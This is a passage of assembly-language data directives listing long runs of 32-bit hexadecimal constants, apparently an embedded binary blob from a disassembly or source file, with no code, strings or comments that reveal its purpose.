5F6E185Ch dd 1E7198A1h, 2C25CBB4h, 0E494C094h, 1700632Eh, 34BD1ACEh dd 99FC8407h, 4EBE00E8h, 32D63658h, 500AF4A9h, 3FA9AC84h dd 1FBBDE00h, 1A2DF877h, 85F03E0Ch, 5CE10881h, 16C8135h dd 0B3148E54h, 7A2A0088h, 35A1CCFEh, 882F0B90h, 0F8319EBh dd 25B86E64h, 2400BAF8h, 0CC54ACEEh, 26EAD8FEh, 0A4887929h dd 63E82C58h, 591E4061h, 0E0357FEEh, 0E398B060h, 9B3F0FB9h dd 13C45407h, 0E9CA6E4h, 2059A3B0h, 29415303h, 529801E6h dd 4F4830Ch, 70ADE59Bh, 0E49684ACh, 0D0CACB80h, 0AAC17034h dd 69C405DCh, 0C251DC32h, 60B8E0B8h, 0D600849Fh, 18CA43B7h dd 5D0A861Bh, 3507C4E6h, 0A5ED2653h, 70805FCh, 0D458853Bh dd 564040B4h, 0B1504BF2h, 0A4134C4Eh, 6F6BD400h, 160655EBh dd 0C2747Bh, 4E5CE6F8h, 82265B30h, 7151540Bh, 5CEB0A21h dd 580BB861h, 0B042EEh, 5E1A016Bh, 0E8295D29h, 884C7724h dd 0B7E15D4h, 0C5182h, 0C626D916h, 12028783h, 0ABCDE2A5h dd 10A8E5FAh, 0E4718A6Bh, 0AC5F4288h, 919992B0h, 632FE114h dd 0CD29001Ch, 94705F5Bh, 0B6240047h, 8B01261Bh, 0D8582736h dd 80D588A0h, 2E44F091h, 4022B8Ch, 0E8872072h, 0C0DCAF66h dd 0EA8809E9h, 2D03074Eh, 0CAD297D8h, 0B2BB40B0h, 8AE8CD2Fh dd 40968874h, 0F8080449h, 90444Bh, 0D1DA43Eh, 1D419D9Fh dd 921F8B40h, 74E487F1h, 0B4A8A17Eh, 54CAE43Ch, 0EC17E0BCh dd 0ED481A41h, 80B01F2h, 0AA49258Bh, 4BEFC3FCh, 26CC5FEBh dd 6E443D68h, 49646Eh, 1E3ECD16h, 65F2566h, 39116826h dd 7000849Bh, 0D7B02B5Dh, 0E8C80F8Eh, 0C749F2B4h, 0F56E84A2h dd 9255EE21h, 848C4194h, 281BC59h, 0F0335C79h, 5122AB2Bh dd 34644955h, 8465EEC4h, 84A620h, 9CEA2641h, 0E831158h dd 6A2DC27Bh, 5340027Eh, 410948F8h, 43679F8h, 82582710h dd 24FC85E9h, 0E2094731h, 29605EC0h, 0CE9F003Fh, 70DA7A0Fh dd 417EAE91h, 1148E049h, 905D476h, 115D2660h, 0A491B82Ch dd 4BFCE024h, 5747AC04h, 0D684AC06h, 5C250011h, 0D1510C09h dd 3900EF82h, 4733E240h, 16BC96AAh, 34626D60h, 0C0E634h dd 6278E9B9h, 2C21F2h, 0B460FF8Eh, 0E1463B18h, 9230705h dd 3CB41314h, 0FA31884Dh, 7B5A7C1Eh, 4EE01AC1h, 4AD83F2Ch dd 27F8FABEh, 0A42284EEh, 0F099756Dh, 0F0520B4Eh, 0F41B1700h dd 0AF1D3FECh, 0E1A80D00h, 7F03193Bh, 92B52799h, 53E9B424h dd 0CAA32C30h, 206A72D8h, 10B2D19Ch, 587C50F3h, 826061FDh dd 74CC581h, 843A5086h, 0B0E8A8h, 711765E6h, 85849A28h dd 0E1B3EF09h, 5F4CA415h, 0FB600081h, 4F22E062h, 0E013B0A2h dd 70741037h, 58CD6095h, 0A45CFBFBh, 0CA1CDCh, 57AF779h dd 0AE38E440h, 4F620416h, 32992470h, 34480096h, 4A7F2A01h dd 1601420Fh, 7908E437h, 89BFC01Ah, 54C0204Fh, 2786B60Ah dd 10195D40h, 4CD48057h, 3667CE3Bh, 0DC651259h, 789C4C1Fh dd 7600BE49h, 77E29642h, 18507DF6h, 71E4B168h, 3896043h dd 361CBC32h, 48FE8150h, 666B05BEh, 9120030h, 34ABC87Bh dd 6C6F48EEh, 1CCC4589h, 0BE776104h, 789C9FD2h, 83E73A53h dd 0EADF1B00h, 0CE26A1FCh, 0C8D3E002h, 78B5B7CFh, 6B7F3554h dd 6E044A99h, 19D840FCh, 3D031E7Ch, 0CF18F872h, 3FC0C8CDh dd 0C6431DB4h, 8B782455h, 0D46968EFh, 43204061h, 0E31C8940h dd 0F8458072h, 28C08BB6h, 4443AD0h, 17619C33h, 2B1CE46Eh dd 624F8200h, 0AACE404Ah, 27C7045Bh, 9151E97Ah, 5050442Ch dd 5F8B53F4h, 1023D531h, 44695D94h, 0B1E80D81h, 0EE39892Ah dd 0D4E448D1h, 844CBAF8h, 0B3BE028h, 76977323h, 7D452030h dd 0D41EDD70h, 0A2C041C5h, 9E7CC4DBh, 73E62CB8h, 0EFDC844Ch dd 0EC6C88E8h, 0E7AC421Dh, 491EA009h, 620C7A68h, 9F792C84h dd 31064014h, 0A609E2DBh, 182BCC81h, 0B46EEE90h, 66B0BAACh dd 3BF28249h, 3A49AC77h, 1E22258h, 305CD9F3h, 0C8ADEC04h dd 89534DABh, 0B0FD2228h, 0A6EC741Ch, 80D891A4h, 434DE7E8h dd 62009D5Bh, 0FA1B989Bh, 75645819h, 81372088h, 96DB21h dd 89EBCC8Ch, 0CF00403Dh, 0A62E7DCEh, 3E05D02Bh, 0B17A6BCDh dd 9E02BCE8h, 0E7D6ACECh, 303BB0EEh, 0BEFA0247h, 7BD0EDCEh dd 0D70D0138h, 3985F47Dh, 278000F0h, 0D1C7B57Bh, 1FA90205h dd 68FD4658h, 906D6C82h, 0D50B8428h, 9896E6h, 751E1521h dd 0E07853Dh, 64B2A215h, 0BE32594h, 4C46C0h, 32F4B89Ch dd 59412164h, 3C22B902h, 1264E06h, 1195600Dh, 9DF8ABE8h dd 0D6461792h, 45C488D5h, 200CAE2Eh, 0C82CD016h, 0B4A3FD4h dd 9F3D96h, 2D84806h, 5F7D9BC1h, 59146058h, 98D99260h dd 102D9031h, 20EC5F26h, 535D012Ch, 731D400Dh, 1BE5FC09h dd 0B108DC00h, 3D3228C6h, 17ED0BCDh, 0C8E41F82h, 90224F42h dd 80111300h, 9CE654F7h, 41260724h, 0E2B1B7ABh, 0C17FDD71h dd 703450E0h, 298F88C3h, 661C8AFEh, 9AC968CFh, 1404405h dd 0A2E6EE0Dh, 79FE3237h, 9AB50358h, 5AA581D2h, 0A6582091h dd 5E000841h, 0DE791351h, 0EC8A9352h, 958F7186h, 6FF8E433h dd 0FF022E7Ah, 0C3EE0F19h, 2810495Eh, 487B9862h, 896B47Ch dd 0E0A45D6Ch, 0D19420AFh, 9E8FAEh, 0ACBA7110h, 0A18D18F4h dd 24306825h, 49C04368h, 0B8A64A6Fh, 81089011h, 71F45470h dd 29D03EECh, 4030FE24h, 93E362EAh, 5A0057FAh, 7D10DF82h dd 2E1F4417h, 1421A8D6h, 0EC85948Dh, 0FFAC3092h, 88015B49h dd 9F72DF32h, 502D40C4h, 201C5C53h, 0A88000DAh, 0BB36960Dh dd 857B4101h, 635EDD21h, 91B7840h, 7AED44FEh, 6E7160E3h dd 0E3D59113h, 70DBC0DCh, 0F43148BCh, 0CC25173Ah, 57EEC0A2h dd 360D0D2h, 0B1C86C09h, 55A60714h, 309A82EBh, 38FB962Eh dd 2895D23Dh, 64A2FCA4h, 0A600B46Ch, 8DE7D51Eh, 9DDEC5Ch dd 21A2953Fh, 40D73024h, 0A908FFE2h, 314F07A5h, 204485F7h dd 0FC99B6B9h, 84093491h, 0E568207Bh, 0A7BB32h, 0F03C0F2Dh dd 8DABC918h, 2B80E702h, 64316B22h, 0C7A8BC04h, 9128CA2Fh dd 0BD0F1E78h, 5EA23240h, 13EE9DAh, 7A811DA7h, 0E8443875h dd 0FCBAC44Ch, 88656E22h, 64F520h, 4B8B0F28h, 0A33AA9D3h dd 0CF19EA00h, 966CE58Ah, 0D8914D01h, 0BE1948C0h, 0C00EA85h dd 0DC397926h, 1A8458Ah, 0CB1012E1h, 6CEDD450h, 80E388F0h dd 82EECD78h, 62170BC9h, 0D4529D81h, 3F9FF488h, 0F8816EAAh dd 0FF3C8288h, 1A53D814h, 92CBB412h, 48301C84h, 4403Eh dd 2BACE24Eh, 7FF4BD01h, 432AB38h, 0B50DBB9Ah, 5843D8E4h dd 0D085A091h, 400894ABh, 0C861D540h, 193B1E4Ch, 83650094h dd 0D14A7C27h, 60804A77h, 5D166E04h, 73CE2F00h, 17E28363h dd 0B33F0120h, 86A25D4h, 4D182435h, 0A57C61C0h, 1D6FAD7h dd 1976A22Ch, 0C8148040h, 0E4055EFDh, 0F8220BD3h, 3F4890E3h dd 0DFD8224Eh, 11C70C44h, 0CCEB10DEh, 469101A4h, 6FE6F5A7h dd 49E87355h, 0D6BE0108h, 8B2586BAh, 5A705ADAh, 60DC12F8h dd 0D7491F78h, 0C7E78600h, 0FD5C80E0h, 0AE5D19CFh, 23718992h dd 0B9BD00B4h, 6219819Eh, 64A3BD1h, 6B0E33BFh, 12730B2Eh dd 1C20CC70h, 449BF100h, 857472AFh, 0C0889415h, 9790202Eh dd 0D9881900h, 42A04AB8h dd 0B6D0B211h, 609DC7BCh, 83120CE6h, 0E1129872h, 44B692A2h dd 0DBA56503h, 0ACE4A3D1h, 8CE6C0BCh, 100BD611h, 66264CEh dd 937AC509h, 7461277Ah, 0F0143098h, 77EE6B03h, 9B49ACDFh dd 0AEC288D6h, 1C6772D0h, 30799014h, 0BAE27028h, 48965E3Bh dd 0BFD70045h, 18ECF739h, 264900B6h, 8160AA94h, 841DE813h dd 0F040EAF9h, 0EC476210h, 2D01D70h, 36F5C358h, 6000DB08h dd 0E59AAEF0h, 3CDD447Dh, 288748CCh, 0ECB3E4E1h, 0F9607740h dd 4B77008h, 1DAA007Bh, 0D0718947h, 61300834h, 0EF1548CFh dd 1094012Fh, 547F0C13h, 0B0E8C7B5h, 353887B4h, 18A40CD7h dd 2C79CCh, 93EDE8FCh, 6816D9BFh, 0C3035301h, 901D22AFh dd 0A101609Eh, 84DB770Ah, 0CC988F80h, 0EE40F137h, 0A0A40694h dd 29A12785h, 0F1C844h, 8002D15Dh, 678F4D8Ch, 0D01880EDh dd 7B1E7EBCh, 6F53313Fh, 1050F168h, 60FF6710h, 519128EFh dd 1C0034D5h, 32D43F90h, 0D8EE447h, 0C7779DE3h, 5860FC69h dd 0FA036098h, 3440AB1Dh, 0DE67E1E1h, 8AEB4980h, 0C35B368Eh dd 0A693C800h, 62CEFAB5h, 5C046628h, 7C0A8815h, 649370E0h dd 22DC7860h, 218F0EFh, 13F5ABA5h, 0A4A0DA07h, 66AD8573h dd 8EC3050Bh, 185C0C6Ch, 7120C668h, 707ED94Ch, 8C8061DFh dd 0AE4A05FDh, 0EF97286Eh, 387349F0h, 67115D32h, 3C27823h dd 7B0A1141h, 0EDD0F425h, 0C002CF09h, 82277D88h, 4D49107h dd 8384F4h, 0DEEE360Bh, 42185CC4h, 729D7A00h, 0E7EC9949h dd 7BF0A18Fh, 0F93C91B8h, 1259D160h, 11038F7Dh, 0CE9033EFh dd 0D0813C4Fh, 0F6577209h, 2249482Fh, 81341420h, 1C0C49CEh dd 21F84E72h, 31F202EFh, 6A8DC40Fh, 714B081h, 876980E7h dd 0BCFDF856h, 9211184Dh, 7490C043h, 9881D136h, 9CA9D128h dd 0E8C6557Ch, 936FE3F0h, 8BE44050h, 75EAFAC6h, 4398BF71h dd 4A2EAC19h, 9D10C229h, 0D0003A7Eh, 1AB8C5CEh, 0CFEA0F1h dd 0E13698D9h, 80FBABE0h, 0A325BB71h, 0F8BA60A1h, 0B09E00AAh dd 3369E090h, 8F004244h, 7021CA97h, 5F6B677h, 23BE5A96h dd 3EC5208h, 843B4B34h, 0D9071118h, 0C4C119h, 0DA2BBA97h dd 0C358B42Ch, 79789050h, 0DF5A7188h, 151709E9h, 864A9400h dd 0E43774D3h, 26C9CE73h, 1520187Ch, 0DC124DCDh, 606F010Ah dd 0BB14F94h, 80D7A738h, 7444EEECh, 0BBD53F27h, 40D475A4h dd 16A97334h, 718FFF10h, 0B95EE719h, 0FC08945Ch, 0F0AB29C4h dd 0B100E31Fh, 471502CBh, 29DC07B0h, 2A9CA5A2h, 0D9C44618h dd 0BEE7B405h, 0A4C058F5h, 0B63ACDh, 0C3A86A1Ah, 0FE678D63h dd 0A0983CE8h, 8E33F039h, 60CB5B90h, 0D0534A01h, 6E440C5Dh dd 71E0108Eh, 13E54E10h, 0C91A6718h, 0FF000DB4h, 4C321C88h dd 7BEBE59Fh, 0D16D2882h, 0C149194h, 7C96BABh, 1EE45Ch dd 0E2479C84h, 2488F1E8h, 8E3C4026h, 7093DAEDh, 8758E814h dd 63698E04h, 900FB61Ch, 0A5685A0h, 3300E359h, 4C9FDEFDh dd 90C716F9h, 0F45D49B0h, 5250F703h, 0C9B91E3Dh, 7F9C202Ah dd 0D09C98D0h, 1D722C0h, 2839910h, 517BED46h, 0F0A034D0h dd 72159BEAh, 484F559h, 0FE2FF1D1h, 0FA952497h, 80489027h dd 0CE4256DCh, 92016269h, 7B35BB9Fh, 0FED0506Eh, 0F80F49C0h dd 0AF728A02h, 3887B50Ch, 59858373h, 10F658B9h, 0C9809E26h dd 6422B020h, 90226681h, 56DE85B4h, 0FF0B442h, 1E844CFh dd 0EA972634h, 93FF098Ch, 386366B1h, 8E5029E1h, 49D899D4h dd 3DDFC4E3h, 0BC2B8D04h, 70C870A4h, 0C0495967h, 0D821C700h dd 35DD1C81h, 8001622Ah, 0EEB05601h, 4A3A885Fh, 6BED3D8h dd 0D9A20CF6h, 4E4C899Ah, 6708D9E4h, 1D34CC4Ch, 2C86EFF8h dd 0CBF1429Ch, 564AD490h, 2248CF1Fh, 96AA9A03h, 34290B0Bh dd 30907883h, 0F00BBE0h, 0D2765108h, 0D7955h, 0EAA832E4h dd 8E40F920h, 7E42954h, 6F916260h, 0A186BBh, 7DC083B8h dd 409195D7h, 45EEC613h, 0C844FD12h, 8C94ECDh, 0C0CC1C60h dd 5D0FE5A1h, 0AAE40552h, 53764400h, 49CD7DF9h, 688F2CB9h dd 40FF4544h, 74B7A6C4h, 0DA00E5B6h, 1A63FB5Ah, 515A048h dd 596412AAh, 0E4C09223h, 22E89120h, 5F5405CDh, 0C0A9C771h dd 0D8E37FC4h, 2CD90A20h, 15F44D10h, 5818B869h, 0C9D171CBh dd 7CA6E974h, 2F00E6E6h, 6A4342E2h, 0C10177h, 71A2950h dd 7D249652h, 93AC1458h, 8CD1C408h, 3994667h, 0D704E907h dd 6EF3A211h, 98D1D496h, 0E048E4EDh, 323F054Fh, 9033DBC1h dd 0B0EDD20Ch, 0FC02372Eh, 0C6D8583Ch, 0A15407h, 437AF5FFh dd 2345C6F3h, 9DD75900h, 5D446B01h, 72530932h, 20254EFBh dd 78898073h, 57E559B5h, 540D9EA0h, 0A0E007F9h, 0E775607Bh dd 5F722211h, 44959040h, 104190EEh, 22F9F442h, 9CCE9AD1h dd 116DAB30h, 6C859Dh, 0D3733D4Eh, 5CF3D87Eh, 0E7E1F9C0h dd 0F94FD6h, 0BE2337BBh, 79CE80A5h, 3050E569h, 906668FCh dd 0B446009Eh, 64D6165Bh, 962499E7h, 9000404Bh, 0A9F6B8F1h dd 0AB322620h, 21F0C010h, 0F0980DEEh, 49CCE409h, 0B730A54Dh dd 2664DC11h, 5550888Bh, 500A84E5h, 0C818ED53h, 8E1701BCh dd 7FD1FE21h, 0BCDCEC44h, 0BE3A1E18h, 41DD1D6Dh, 3EB0BC28h dd 1AF022EFh, 79CA77h, 0A85A5993h, 0C0E058CBh, 0CFE42293h dd 8AF04A27h, 3F98212Ah, 5500408Fh, 5F56F230h, 7C68632Bh dd 3F035831h, 0F9F302DCh, 9825A79Ch, 11011429h, 92831B8Ah dd 0F2E99FF7h, 0E546E0ACh, 18D31E99h, 1D5DDAh, 10483C55h dd 0E3CF6B0h, 7951028Fh, 0B070266Ch, 1BFD5F8h, 0B836773Ah dd 0C9290456h, 76187415h, 0E4AB12E1h, 54EF013Ch, 0D48928E5h dd 0FF8191ADh, 1EE44400h, 188C9553h, 73A5C207h, 1A203902h dd 0D7F4C35Eh, 72D42328h, 5F589FD0h, 0C8247A7Ch, 89847C9Ah dd 50C22B3Bh, 0C9B72503h, 5CE5DE38h, 99E05F80h, 4F373E6h dd 1341089Fh, 616CD0C9h, 940FB27Dh, 96EA2BADh, 0C736D060h dd 0D4640499h, 9075E3A2h, 0B0E6AA98h, 683072F4h, 0B20E811Bh dd 38A63993h, 0E8D74B0Fh, 9CE809F7h, 3B345C20h, 1177D9EAh dd 0F9D10702h, 0E2EF0AA7h, 2EFC44A5h, 4AA44FCDh, 446F1154h dd 9D88D3B0h, 863019F7h, 627B202Fh, 69830084h, 0B572353Dh dd 0E0F105BDh, 0C9DCB1AEh, 9BA84074h, 8B1FC8Ch, 0EF410B40h dd 639C0098h, 0A73BBA70h, 0EB02DA42h, 19B5F7EDh, 487621E8h dd 5C2510ECh, 94589CEFh, 2880840Dh, 0D28BFF60h, 3C01BFEEh dd 9F3A36A1h, 31A6FDA9h, 0A8A04E10h, 25A1D1E1h, 0B0E0B854h dd 20788025h, 6FF43DCCh, 54A003C9h, 0C0679079h, 0AD0B5A88h dd 9E80F894h, 5FB76EEFh, 5CF97049h, 0CD8378F2h, 994C0E4Ah dd 307824B4h, 0BB307BCh, 6630A595h, 0E4E7CAh, 0F8B136EBh dd 6A5C0E2Eh, 2DEAF701h, 4D1C9746h, 66F801DDh, 77F51976h dd 0C553684Bh, 109B07CFh, 1F40C14h, 0AD9252BCh, 3CE7C8F8h dd 765BC100h, 0A9AE99CAh, 4773408Ch, 0F603138Eh, 749001FDh dd 0EF34D9EAh, 61DAABC4h, 77FC6841h, 17B451E2h, 0D022ACh dd 0DAC957A0h, 0F9412Fh, 3EE295C5h, 92536E8Ah, 297A1636h dd 0AC344A8h, 1E4D2A01h, 72189EB3h, 0B28A2181h, 0D55C1C82h dd 0F34AC497h, 73AA0100h, 0B7499DE8h, 0C3E4E581h, 0C41613C0h dd 2F4030E6h, 0F6009E9Fh, 4AF780DAh, 19EFC789h, 81C3C8D1h dd 2CC2207h, 357AF73Ch, 4CF1C080h, 56D3038Bh, 0F437419Fh dd 0BC8010DAh, 1E9EF1Dh dd 60577126h, 0E593D142h, 5E1F80E4h, 0EFC18F63h, 5D984403h dd 978BBC0h, 0DCDFB379h, 2DF6EC40h, 33F2E80Ch, 94D1C011h dd 0F9F84098h, 90134C3h, 8F415006h, 4296211h, 0B5F68000h dd 4769852Fh, 0A08EC42Ch, 0EF95ED40h, 0E1E1612Bh, 0C10FF7E3h dd 425464D5h, 0BD939000h, 0E753DD95h, 0CFFB018Eh, 0D1A0017Bh dd 506C2D8Dh, 0D0A8CE50h, 0D700D280h, 0C2A5507h, 9037A449h dd 238204ECh, 0C875CD97h, 6D057C7Ch, 0B4C8C2B0h, 0F2718C44h dd 48933CA4h, 0E0D4049Bh, 20450D3Eh, 0C7389AA4h, 0AE608006h dd 8D42F77Ah, 44E84884h, 44210727h, 0C0938266h, 0D0B968E1h dd 7F0F5400h, 15C3360h, 0A0F04172h, 3B5B9E6Fh, 94E3D0B5h dd 4ACE68B0h, 1A9C5D43h, 0AC5BA8ECh, 5D01B528h, 74F97897h dd 0B3433CA8h, 8F84A8A4h, 0E64412CEh, 0C8449DEFh, 8C004075h dd 2BC417D8h, 20BD325h, 22EA0FF1h, 0E45167EEh, 315CD800h dd 3F68D9Bh, 0F754C508h, 8100DC86h, 1151ED83h, 3EBCAFh dd 0FC5CCA32h, 0FD2686B5h, 986C2128h, 22A05A00h, 33D93649h dd 17E51487h, 7184FC2Dh, 0C85CC958h, 0ECA8D2BAh, 280C8AF5h dd 18C6521Dh, 0FB80AB6Ch, 947AB0C2h, 0B9FE0116h, 53640FD8h dd 8BC4F598h, 0A0EE6748h, 6FC11984h, 6DA100A2h, 33EA44E8h dd 0BD489D72h, 89C7C374h, 0D027A32Fh, 8F153Ch, 0DCD7665Eh dd 6DBAF954h, 0FC6B9C88h, 4AE80359h, 7DDDF03Fh, 30E3D6C1h dd 0F0EFB670h, 78F486F9h, 9A00C4B1h, 3D2BDF69h, 0D2FD0267h dd 52538DAEh, 4F102C48h, 86E78913h, 0AB7E8420h, 5C500CBh dd 0DFD8A731h, 4D00982Fh, 1075CFF4h, 945401B8h, 50CD8998h dd 69806818h, 0EB8EB904h, 1C90F46Fh, 0CF71510h, 6D3F4B24h dd 0E04013D0h, 0D9DF60ABh, 732F96CDh, 9E652B00h, 3D465011h dd 889800BBh, 0FEEAD2F1h, 0CF905617h, 7042BC9Ah, 485B4900h dd 8A187AB5h, 0F6501004h, 8481E7B3h, 0A8224D71h, 0C196267Fh dd 3CC81C44h, 0A2C0E85Dh, 88A07693h, 1D9B8C00h, 0B964E31Eh dd 97100F20h, 31E3D499h, 402172D1h, 5A364070h, 0C300A580h dd 3B0A5C26h, 0E5653AAh, 0E35222BDh, 0E4107848h, 0B0A17D22h dd 3DC4324Dh, 38AA422h, 1CAB7302h, 0C3E484C4h, 351F2340h dd 9409EC9Ah, 0E86254B9h, 241D64h, 4F086FEh, 6E72DB60h dd 5F9B5200h, 0D7D8DABEh, 0EB77012Dh, 0D15D01B0h, 0A4902881h dd 0F8DC0BBh, 0F3EC8E23h, 0AF5AD407h, 0F00AA5B9h, 47E70140h dd 47489ECFh, 0AD1B121Eh, 0DA005044h, 0DB9CB3D2h, 0BB9550Dh dd 9D2EB4F3h, 0B22F0C83h, 8A178005h, 1CB46039h, 84C648D1h dd 386C718Bh, 21660819h, 0D0298738h, 5FFA7E00h, 8FD5EAAFh dd 264098B6h, 3083332Fh, 2786C9A8h, 0E20080B7h, 0F152836h dd 0E810F9C4h, 56AC4F6Bh, 0D44D0050h, 73356164h, 0AE57C63Ch dd 223F3840h, 4AD03E67h, 0EB0100F2h, 450F6DDEh, 2107E790h dd 384FD15Ah, 186BEDF1h, 0B466E070h, 74144BDCh, 2C433B20h dd 14628086h, 7101107Fh, 0E7238F9Dh, 934310Bh, 704547D0h dd 3969BCECh, 27240898h, 4600E843h, 0C1EDAC60h, 2F7DFBh dd 793F0E6h, 47C52954h, 8AEF0802h, 51C832EDh, 77500F0h dd 1CA6FC9Eh, 20BB7625h, 0D9DACD4Ch, 5F7B13E0h, 0FA7430CAh dd 0C200D148h, 8721AE73h, 0C89AFF8h, 0E6F1557Ch, 0B04CC479h dd 34F15F4h, 0A7047898h, 0EC48B65Ch, 3A00E4A2h, 265159AAh dd 91026692h, 0F5E5DDCh, 20949412h, 8E842AFh, 6C465926h dd 0F3003345h, 3AA46012h, 2DBF0FD4h, 0BE85D1D9h, 88425C2h dd 28A881B0h, 8E16C886h, 4832CDBAh, 25B490ABh, 17F6E7h dd 4DF38722h, 0C9DA42D6h, 9BC4A700h, 187CEC63h, 8C4A0202h dd 6471B7CFh, 0B20010D1h, 1506F39h, 0D0A52F53h, 0CDAC5030h dd 55BCF500h, 3E5CF6E9h, 374C0069h, 87D57BD4h, 3869AC17h dd 6D188189h, 0F0290676h, 0ACE4AA03h, 8FD8C1A4h, 9A000351h dd 0C793081Dh, 58074E74h, 0DA22AC11h, 1BFA8538h, 0D8CEB076h dd 1E6E101Ah, 5450CC16h, 28C17CF0h, 707FF5A1h, 0A8798D11h dd 376A191Dh, 1E527180h, 90357396h, 495B4E6Ch, 1CC86704h dd 73007922h, 4F3C8AACh, 371AABDh, 9BCA9023h, 8EB8691Ah dd 8626435Ah, 7338FCD4h, 77D95664h, 3E2E8A4h, 89790176h dd 7CA8E542h, 8AEAA266h, 0F4129509h, 0D79600EDh, 14F7F4Dh dd 9001F360h, 2282D121h, 0F0A2241Ch, 0A088C717h, 935B845Bh dd 7615E4B8h, 0B703FC77h, 0C9D187BDh, 0E30631DEh, 8C488AF0h dd 1F9016Ch, 93422C0h, 0D2F470FFh, 0D7F70084h, 67FE4F2Fh dd 5C09FA43h, 0C86F0221h, 9C4DCDF4h, 0DBD426Ch, 41C9F0E1h dd 15CE5F4Ch, 908EC0C8h, 1921014Fh, 0E630AAE7h, 806420C3h dd 789010E9h, 4C8788C8h, 0E16CB000h, 0D12069A8h, 20E0458Eh dd 8A4C9588h, 986C2FB4h, 2CF7948h, 0B6B19005h, 0E0D97234h dd 44404E09h, 0BDC80EC8h, 0E24018B1h, 62F7653Ch, 7C80ACBCh dd 1463C8B3h, 4AE900ACh, 22763CDFh, 0F003473h, 90703517h dd 6B74298h, 8F594E8Dh, 3EFA5979h, 2506943Ch, 50680278h dd 0ED012217h, 77520C52h, 0D82A0090h, 2BB0C3C7h, 0E2711604h dd 8CB888C2h, 9E866200h, 0A6FA0293h, 357C00FFh, 5CC7E304h dd 5F042FEBh, 79CC4992h, 340030ADh, 605A2437h, 754ACDD2h dd 26E47488h, 42345E58h, 0A8AF71BAh, 804408C0h, 1900345Fh dd 13D5AEDBh, 0F56D25h, 0F7813522h, 0DE215160h, 85C7005h dd 0B017029Dh, 0C117E423h, 7BE26F38h, 73803AA8h, 94D3A2BBh dd 0BF002530h, 0B667C812h, 14DAE92h, 0B0A57CD1h, 23DF94C2h dd 2A500940h, 64381008h, 0AB070397h, 8F82A3A6h, 0C5AC2D90h dd 3CFB8B88h, 0F78F7553h, 3580A8E0h, 8F075208h, 0E30018B0h dd 6E8DC30Fh, 58171D6Ah, 0BC00EC7Ah, 0BB5014EAh, 4709FE54h dd 0C0DCDE8Eh, 0AE1F770h, 42CCF6CFh, 0E29440A0h, 0AF24EF6Bh dd 0B180A08Fh, 46544A06h, 80D1F94Dh, 45804828h, 0D231E9E5h dd 2D300E09h, 88C467h, 0D574FD6Ah, 5356C924h, 0BAF55403h dd 907F4101h, 24118134h, 582CBC45h, 10807D55h, 0ED022525h dd 680A54A2h, 0A801605Ah, 18865474h, 0EAC0E782h, 763F0BC7h dd 0C4825A07h, 6056A925h, 71176C11h, 0D13C214Eh, 0B42295h dd 173763BAh, 9E3AE6C4h, 9E8300DCh, 0BCA68260h, 0B05F4537h dd 24044C9h, 0EBB82D17h, 0ACD857F4h, 8D990E60h, 2712B4B1h dd 0D0130234h, 0AE2F82F0h, 78685714h, 0A90B76A8h, 10BAEA2Bh dd 13CF50DCh, 240F4D5h, 55611CB4h, 0B45A6042h, 4AA7B07h dd 0EA30E22Bh, 7584A4h, 6876B0E1h, 0CE082521h, 3670F081h dd 0F68F001Fh, 0A08D1B19h, 965BFEACh, 0E43F4FF8h, 329AD117h dd 9931F2D4h, 488750F1h, 0D1C5EF10h, 0DAC95D05h, 4901D850h dd 8E7554A1h, 0E3FCED10h, 0BF212582h, 9E90D420h, 79071A4Fh dd 0FEF9D1CDh, 4C09A01Ch, 0EF227008h, 7FF0F879h, 80887949h dd 0EA108056h, 0F0E1002Bh, 0F9FC13F8h, 104B0CFh, 0D6FD93C2h dd 0EF94A8C1h, 0C05CFC10h, 0E040BB4Eh, 7D0FDEAAh, 67AB034Eh dd 5CA54966h, 94E83FD8h, 0E7C0804h, 70818C97h, 0B2D0A14Dh dd 0F17A95h, 72D1C991h, 903106A8h, 93531477h, 25A2394h dd 18676BEEh, 16DFFCA0h, 9A07FE56h, 990652Eh, 0CEAAB5C0h dd 1A5D0222h, 4CEA2C5Eh, 3C607C42h, 6029940h, 0FE3AC660h dd 6C04468h, 787A6FD6h, 1811E85Dh, 0AE0FDEACh, 0B74BE28Dh dd 7F68C100h, 7FAFAFFh dd 0D37B0F01h, 37502A3Dh, 0C676BC42h, 0C618275Ch, 9805B00Bh dd 226CB21Bh, 0A6B88071h, 11CD6018h, 565A4A3Ah, 42C921Ch dd 0C78BFE00h, 917C125h, 98D05EB2h, 0C4E4D02Bh, 0CDE78B03h dd 0E82C1F04h, 79316115h, 68C20578h, 20BAEF22h, 244D35A4h dd 0D9019773h, 0CD9BB159h, 7B100242h, 8E39F180h, 1E2A0BE5h dd 7E008201h, 5E84C2B1h, 3B1B4030h, 44013607h, 0E463E6C8h dd 0D3F02308h, 0C62E2518h, 0C3F56C91h, 0FE1BE80h, 4013B893h dd 1817D420h, 93A0C04Fh, 0C46572A7h, 8088D0BEh, 667189D2h dd 0A04D7468h, 119D69FAh, 4C8508Ch, 0B28C00DFh, 0FC88780Fh dd 209548CCh, 0FD9F3458h, 0D25B014Fh, 8E795683h, 0C4443007h dd 0C021BD8Bh, 98DBF982h, 0E7948Ah, 78FB0239h, 7A29369Ch dd 8C73A826h, 8FE4EC08h, 0F81451CDh, 4F9832D2h, 0F3BB6A60h dd 3F6024B4h, 2E2FBDCEh, 912094E2h, 8CEA0FF5h, 23BE00FFh dd 2FC702EEh, 0D4915401h, 0B149E812h, 7B19DAB0h, 0D0396260h dd 715AED8h, 0D274938Eh, 0A75130E8h, 2C05AC58h, 0A912035Fh dd 2608CCh, 0BEAB63B3h, 0CF6842AFh, 1182B512h, 481D3CB2h dd 4308C036h, 0EC9388BAh, 0C4006DB8h, 2DAD454Fh, 9816F78Eh dd 0A0F04830h, 0B739FD32h, 3442C4D2h, 1702F121h, 0C487088Eh dd 0AECD0060h, 90A2824h, 0DD24F6B2h, 912F38D7h, 0F708825Ch dd 24665C2Fh, 5C84863Ch, 0C98F057h, 0C0E7044Fh, 90290982h dd 15326460h, 0CDE11C9Ah, 0EFA853E6h, 608C7DF1h, 564B0179h dd 21F4D0C9h, 0C43D0CEEh, 9059DE94h, 5A0518FAh, 0AC32D6EAh dd 0F3C0381Fh, 0FE34AD53h, 0F0690050h, 6041490Fh, 23049C93h dd 8AEF3DE7h, 60805885h, 12506890h, 30CCF0B5h, 0B1187B1Ch dd 3105940h, 0FF08AD4Dh, 5D806367h, 0E712B821h, 30046BEAh dd 0C8819C4Fh, 646C5CCDh, 0B4A85AC7h, 8310BCF1h, 0C46C82C4h dd 8B80A0A9h, 0A44C3FAEh, 9D864E16h, 707840C8h, 29A6008Ah dd 0EA5502FCh, 0D51CCBEFh, 